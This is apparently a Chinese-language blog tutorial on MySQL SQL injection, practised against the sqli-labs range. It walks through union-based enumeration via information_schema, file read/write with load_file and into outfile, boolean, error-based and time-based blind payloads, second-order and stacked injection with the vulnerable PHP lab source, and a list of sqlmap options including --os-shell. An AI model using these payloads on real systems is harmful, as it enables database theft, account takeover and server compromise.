Web通用漏洞--sql注入

2023-08-28 18:00:47

SQL隱碼攻擊

mysql注入目的:獲取當前web許可權

mysql注入--常規查詢&union聯合查詢

  1. MYSQL--Web組成架構
    伺服器搭建web服務可能存在多個站點搭建在一臺伺服器中,資料集中儲存在資料庫中,因此對資料庫的管理也可以分為兩種架構:
    統一使用者管理資料庫,即對所有站點資料庫的管理均為Root許可權使用者管理
    一對一使用者管理資料庫,即對不同站點資料庫管理分為不同使用者管理各自站點資料資訊(最小許可權原則)
  2. 判斷注入點的四個資訊
    系統----Windows/Linux(大小寫敏感與否/檔案路徑選擇)
@@version_compile_os  //檢視當前資料庫所在伺服器系統

使用者----Root/普通使用者(存在root許可權與否)

user()		//檢視當前接入資料庫使用者

資料庫名--為後面猜解資料表、列名、資料做準備

database()		//檢視當前接入資料庫名稱

資料庫版本--是否存在information_schema預設庫

version()		//檢視當前接入資料庫版本
  1. 根據以上資訊選擇注入方案
    Root許可權使用者:先測試檔案讀寫,後測試讀取資料(sql注入最終目的拿到Web許可權,如果存在檔案讀寫,許可權直接獲取)
    非Root許可權使用者:直接測試讀取資料
  2. 注入方法
    藉助MYSQL5.0以上版本自帶information_schema資料庫
information_schema
儲存MYSQL服務中所有資料庫的資料庫名、表名、列名的資料庫

information_schema.schemata	
記錄MYSQL服務中所有資料庫名的資料表		

schema_name
information_schema.schemata中記錄資料庫名稱的列名


information_schema.tables
記錄MYSQL服務中所有資料表資訊的資料表

table_schema
information_schema.tables中記錄資料庫名稱的列名

table_name
information_schema,tables中記錄資料表名稱的列名

information_schema.columns
記錄MYSQL服務中所有列名資訊的資料表

column_name
information_schema.columns中記錄列名資訊的列名

手工注入:
使用order by(根據第幾個欄位排序)判斷欄位個數
以sqli-labs靶場舉例當order by 3時回顯正常,order by 4 資料庫報錯

使用select 1,2,3,4,5這樣的方法檢視資料回顯位置,通過注入語句可知,2、3的位置為資料回顯位置

通過user()、databases()函數檢視當前使用者和資料庫名稱

通過@@version_compile_os、version()檢視資料庫所在作業系統和資料庫版本資訊

union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+查詢該資料庫中的表

union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+查詢表中列名

union select 1,username,password from users--+查詢資料

mysql注入--跨庫查詢&root許可權

當Web站點伺服器使用Root許可權使用者統一管理MYSQL服務,伺服器中部署的其他站點也可以通過information_schema資料庫進行資料查詢

mysql注入--檔案讀寫&load_file

在使用sql語句注入時可以利用mysql資料庫中內建函數對伺服器中的檔案進行讀寫操作,從而達到獲取許可權的目標

load_file()
載入檔案內容
into outfile
將資料資訊匯入檔案

檔案讀寫操作受條件影響

  1. 當前資料庫使用者許可權
  2. 必須指定檔案完整的路徑
  3. 伺服器secure-file-priv設定(在一些高版本的MYSQL服務中,預設開啟了開啟了限制)

id=-1' union select%201,load_file('c:/1.txt'),3--+讀取伺服器中C槽的1.txt檔案

id=-1' union select 1,2,';' into outfile 'c:/1.php' --+將查詢內容輸出到指定檔案


在進行檔案讀寫時,受限制因素太多,因此很難實現

mysql注入--資料請求型別&符號干擾

在開發者進行編寫sql語句進行查詢時,由於傳參的資料型別或者slq語句寫法不同導致sql注入拼接失敗

  1. 數位型(無符號干擾)
select * from news where id=$id;

在沒有符號干擾的情況下可以直接進行注入
2. 字元型(單引號干擾)

select * from news where id='$id';

由於傳參值可能是字元型,因此傳參值要用引號括起來,在進行sql注入時要進行sql語句閉合

?id=1' union select 1,2,3,4,5,6 --+
?id=1' union select 1,2,3,4,5,6 and '1'='1
  1. 搜尋型(模糊查詢符號干擾)
select * from news where id like '%$id%';

拼接語句可成為

?id=1%' union select 1,2,3,4,5,6 --+
?id=1%' union select 1,2,3,4,5,6 and '%1%'='%1
  1. 框架類
select * from news where id=('1');
select * from news where (id='1');

拼接語句為

?id=-1') union select 1,2,3,4,5,6--+
?id=-1') union select 1,2,3,4,5,6 and ('1')=('1

mysql注入-資料請求方法&GET&POST&SERVER

全域性變數方法:GET POST SERVER FILES HTTP頭等
User-Agent:
使得伺服器能夠識別客戶使用的作業系統,遊覽器版本等.(很多資料量大的網站中會記錄客戶使用的作業系統或瀏覽器版本等存入資料庫中)
Cookie:
網站為了辨別使用者身份、進行session跟蹤而儲存在使用者本地終端上的資料X-Forwarded-For:簡稱XFF頭,它代表使用者端,也就是HTTP的請求端真實的IP,(通常一些網站的防注入功能會記錄請求端真實IP地址並寫入資料庫or某檔案[通過修改XXF頭可以實現偽造IP]).
Rerferer:瀏覽器向 WEB 伺服器表明自己是從哪個頁面連結過來的.
Host:使用者端指定自己想存取的WEB伺服器的域名/IP 地址和埠號

如功能點:

  1. 使用者登入時
  2. 登入判斷IP時
    是PHP特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受IP的繞過(繞過)
    實現:程式碼設定固定IP去判斷-策略繞過
    實現:資料庫白名單IP去判斷-select注入
    實現:防注入記錄IP去儲存資料庫-insert注入
  3. 檔案上傳將檔名寫入資料庫-insert注入

PHP-MYSQL-資料請求格式
1、資料採用統一格式傳輸,後端進行格式解析帶入資料庫(json)
2、資料採用加密編碼傳輸,後端進行解密解碼帶入資料庫(base64)

myslq注入--注入函數(盲注)&布林&報錯&時間

盲注就是在程式設計過程中,由於一些原因,資料庫所查詢的資料不會進行回顯,這個時候我們就需要使用一些方法進行判斷。

  1. 布林盲注
    參考文章布林盲注詳解
    布林盲注利用邏輯判斷來進行資訊查詢的一種手段,需要web頁面在查詢語句邏輯true和false時候做出不同的反應
  • length()猜解資料庫名稱長度
?id=1' and length(database())=8--+ 
?id=1' and length(database())>8--+ 
  • left()猜解資料庫名字元
?id=1' and left(database(),1)='s'--+
?id=1' and left(database(),2)='se'--+  
  • substr()猜解資料庫名字元
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
  • ascii()&substr()猜解資料庫名字元ASCII碼值
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and ascii(substr(database(),1,1))>115--+
  • count()猜解資料庫中資料表的個數
?id=1'  and (select count(table_name) from information_schema.tables where table_schema='security')=4
?id=1'  and (select count(table_name) from information_schema.tables where table_schema='security')>4
  • length()&limit猜解資料表名長度
?id=1'  and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
  • left()&limit猜解資料表名稱
?id=1'  and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
  • ascii()&left()通過ascii碼猜解資料表名稱
?id=1'  and ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101--+

-count()猜解指定表中的欄位數量

?id=1'  and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+

-length()查詢指定資料表中的指定欄位名稱的長度

?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+

-left()猜解指定表中指定欄位的名稱

?id=1'  and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i'--+

-length()猜解資料長度

?id=1'and length((select username from users limit 0,1))=4--+

-ascii()&left()猜解資料

?id=1'and ascii(left((select username from users limit 0,1),1))='68'--+
  1. 報錯注入
    參考文章SQL隱碼攻擊實戰之報錯注入篇(updatexml extractvalue floor)
    報錯注入應用在開發者給程式設計執行sql語句時設定了容錯處理時,即在進行sql注入時有sql語句報錯提示的情況下使用的一種手段
  • updatexml()
    函數利用格式大致為第一個欄位和第三個欄位可以隨便寫,第二個欄位需要使用concat()函數將分隔符號和查詢的語句進行連線,其中第二個欄位的分隔符是ASCII碼錶中使用16進位制數代表~,這個是將報錯資訊顯示出來的關鍵,在第二個欄位可以輸入想要執行的語句,具體講解可以看參考文章
?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
  • etractvalue()
    該函數使用方法大致與updatexml()一致,比updatexml()少了一個欄位
?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

報錯注入有很多方法,但是由於資料庫版本問題等,上述兩個函數是最常用的,更多注入方法可以參考12種報錯注入+萬能語句
3. 延時注入
延時注入是通過sleep()函數和if()函數聯動,判斷輸入條件的true或flase使資料庫執行sleep()函數進行延時查詢,從而判斷輸入條件的true或flase。
例如:通過判斷if語句中第一個條件是否為true,true執行sleep(3),flase執行sleep(),通過判斷頁面載入是否有延時而瞭解語句執行的結果,通常執行語句與布林注入相結合。

?id=1' and if(1=1,sleep(3),sleep(0))--+

總結
使用場景:

  • 布林盲注
    頁面有邏輯顯示,當語句邏輯正確或錯誤有不同的顯示資料時可以使用布林盲注,布林盲注必須要有邏輯回顯
  • 報錯盲注
    當查詢sql語句時,頁面返回sql語句報錯資訊時存在報錯注入,報錯盲注必須要有sql報錯資訊
  • 延時注入
    延時注入既不用有邏輯回顯,也不用有報錯資訊,但是最為複雜
    基於上述注入方法繁瑣程度,一般都會選擇採用工具或編寫指令碼進行注入。

mysql注入--二次注入

二次注入的意思是指,當用戶輸入惡意sql語句,將惡意sql語句在進行輸入的時候由於過濾或者跳脫等各種原因,sql語句在存入資料庫的時候並不會觸發,當Web頁面為了實現某種功能再次呼叫該sql語句時,由於沒有再次過濾或者轉移,從而導致惡意sql語句被執行,實現二次注入。
以sqli-libs中Less24為例
注入過程大致為,在登陸介面建立使用者時候在使用者名稱選項中輸入不會觸發執行的惡意sql語句,這時伺服器通過跳脫將惡意sql語句存放入資料庫,在使用者建立成功後登入後進行密碼修改,在密碼修改時,伺服器會帶呼叫使用者名稱選項資料但不會進行跳脫從而實現sql注入的原理

建立使用者原始碼,其中這建立使用者的功能實現了將惡意sql語句注入資料庫,但不會觸發的條件

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");



if (isset($_POST['submit']))
{
	

# Validating the user input........

	//$username=  $_POST['username'] ;
	$username=  mysql_escape_string($_POST['username']) ;
	$pass= mysql_escape_string($_POST['password']);
	$re_pass= mysql_escape_string($_POST['re_password']);
	
	echo "<font size='3' color='#FFFF00'>";
	$sql = "select count(*) from users where username='$username'";
	$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
  	$row = mysql_fetch_row($res);
	
	//print_r($row);
	if (!$row[0]== 0) 
		{
		?>
		<script>alert("The username Already exists, Please choose a different username ")</script>;
		<?php
		header('refresh:1, url=new_user.php');
   		} 
		else 
		{
       		if ($pass==$re_pass)
			{
				# Building up the query........
   				
   				$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
   				mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
					echo "</br>";
					echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";   				
					//echo "<h1>User Created Successfully</h1>";
					echo "</br>";
					echo "</br>";
					echo "</br>";					
					echo "</br>Redirecting you to login page in 5 sec................";
					echo "<font size='2'>";
					echo "</br>If it does not redirect, click the home button on top right</center>";
					header('refresh:5, url=index.php');
			}
			else
			{
			?>
			<script>alert('Please make sure that password field and retype password match correctly')</script>
			<?php
			header('refresh:1, url=new_user.php');
			}
		}
}



?>

關鍵程式碼

$username=  mysql_escape_string($_POST['username']) ;
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

變數$username 為接受POST表單傳送過來的username並使用mysql_escape_string()函數進行過濾,該函數並不跳脫%和_,它和mysql_real_escape_string()函數差不多,但是在php5.5被廢棄,php7.0中被移除。具體講解參考mysql_real_escape_string和mysql_escape_string有什麼本質的區別,有什麼用處,為什麼被棄用?
其中在$sql中$username和$pass兩旁都使用了左斜槓將雙引號進行跳脫,目的是為了避免sql直譯器將雙引號當作sql語句的結束符
所以在此處可以通過$username插入惡意程式碼,由於轉移函數的原因惡意程式碼並不會執行或導致sql語句錯誤無法執行

修改密碼部分原始碼

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");



if (isset($_POST['submit']))
{
	
	
	# Validating the user input........
	$username= $_SESSION["username"];
	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	
	if($pass==$re_pass)
	{	
		$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
		$row = mysql_affected_rows();
		echo '<font size="3" color="#FFFF00">';
		echo '<center>';
		if($row==1)
		{
			echo "Password successfully updated";
	
		}
		else
		{
			header('Location: failed.php');
			//echo 'You tried to be smart, Try harder!!!! :( ';
		}
	}
	else
	{
		echo '<font size="5" color="#FFFF00"><center>';
		echo "Make sure New Password and Retype Password fields have same value";
		header('refresh:2, url=index.php');
	}
}
?>
<?php
if(isset($_POST['submit1']))
{
	session_destroy();
	setcookie('Auth', 1 , time()-3600);
	header ('Location: index.php');
}
?>

關鍵程式碼

	$curr_pass= mysql_real_escape_string($_POST['current_password']);
	$pass= mysql_real_escape_string($_POST['password']);
	$re_pass= mysql_real_escape_string($_POST['re_password']);
	$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

$curr_pass接受修改密碼前的密碼用於校驗未修改時的密碼是否正確
$pass和$re_pass接受為新密碼和新密碼的確認
$sql為接受資料後修改密碼的語句,由該語句分析可知在進行密碼修改更新資料庫的時候需要呼叫$username去尋找被修改使用者的密碼,當資料庫呼叫$username時,我們在註冊使用者時所輸入的惡意sql語句就會執行

注入過程
首先構造payload,建立使用者名稱為admin'#,單引號目的修改密碼時候用於閉合修改密碼的sql語句,#號在註冊使用者過程中會因為過濾函數過濾掉,不影響註冊過程,在修改密碼過程中註釋掉驗證 當前密碼的語句,所以最終建立的使用者名稱為admin'#,密碼設定為123456
成功插入資料庫中


修改密碼
由於二次注入呼叫變數$username時將驗證當前密碼是否正確的部分給註釋掉了,所以在修改密碼時當前密碼可以隨便輸。

密碼修改成功

在進行修改密碼時候的sql語句實際上就變成了修改admin的密碼

$sql = "UPDATE users SET PASSWORD='test' where username='admin'#' and password='wqdscdf' ";

進入資料庫檢視admin使用者密碼是否被修改

mysql注入--堆疊注入

堆疊注入就是通過結束符同時執行多條sql語句,
例如php中的mysqli_multi_query函數。與之相對應的mysqli_query()只能執行一條SQL,所以要想目標存在堆疊注入,在目標主機存在類似於mysqli_multi_query()這樣的函數,根據資料庫型別決定是否支援多條語句執行.
以sqli-lib Less-38為例
原始碼

<?php




// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}



$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else 
    {
	echo '<font size="5" color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
    }
/* close connection */
mysqli_close($con1);


}
	else { echo "Please input the ID as parameter with numeric value";}

?>

關鍵程式碼

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

該sql語句使用了mysqli_multi_query()函數去執行sql語句,支援多條sql語句一起執行,經過分析$sql語句,在注入過程中只需要使用單引號和分號將sql語句進行閉合,新增要執行的語句並在最後新增註釋符將原sql語句中的limit註釋即可
注入語句為

?id=1';insert into users(`id`,`username`,`password`) values(17,'hack','hack')--+

檢視注入結果

mysql注入--sqlmap

詳細文章參考sqlmap超詳細筆記+思維導圖
在對注入點進行sql注入時,首先需要判斷注入點的使用者許可權,以許可權高低來判斷我們的後續操作

--is-dba		#是否是資料庫管理員 
--privileges	#檢視使用者許可權
--users			#檢視所有使用者
--current-user	#檢視當前使用者
--sql-shell		#執行sql命令
--file-read		#檔案讀取
--file-write "本地檔案" --file-dest "寫入地址" #檔案寫入
--os-cmd=		#單次執行系統命令
--os-shell 		#互動式執行系統命令
--current-db	#當前資料庫
--dbs			#所有資料庫
--tables -D"庫名"	#指定庫下所有表
--columns -T"表名" -D"庫名"	#指定庫下指定表中所有欄位名
-C "欄位名" -T"表名" -D"庫名"	--dump	#報出指定欄位中的資料
-r "封包檔案地址"	#封包注入
--tamper"模組名稱"		#使用tamper模組注入
-v"1-6"			#顯示詳細等級		
--user-agent ""  #自定義user-agent
--random-agent   #隨機user-agent
--time-sec=(2,5) #延遲響應,預設為5
--level=(1-5) #要執行的測試水平等級,預設為1 
--risk=(0-3)  #測試執行的風險等級,預設為1
--proxy			#使用代理注入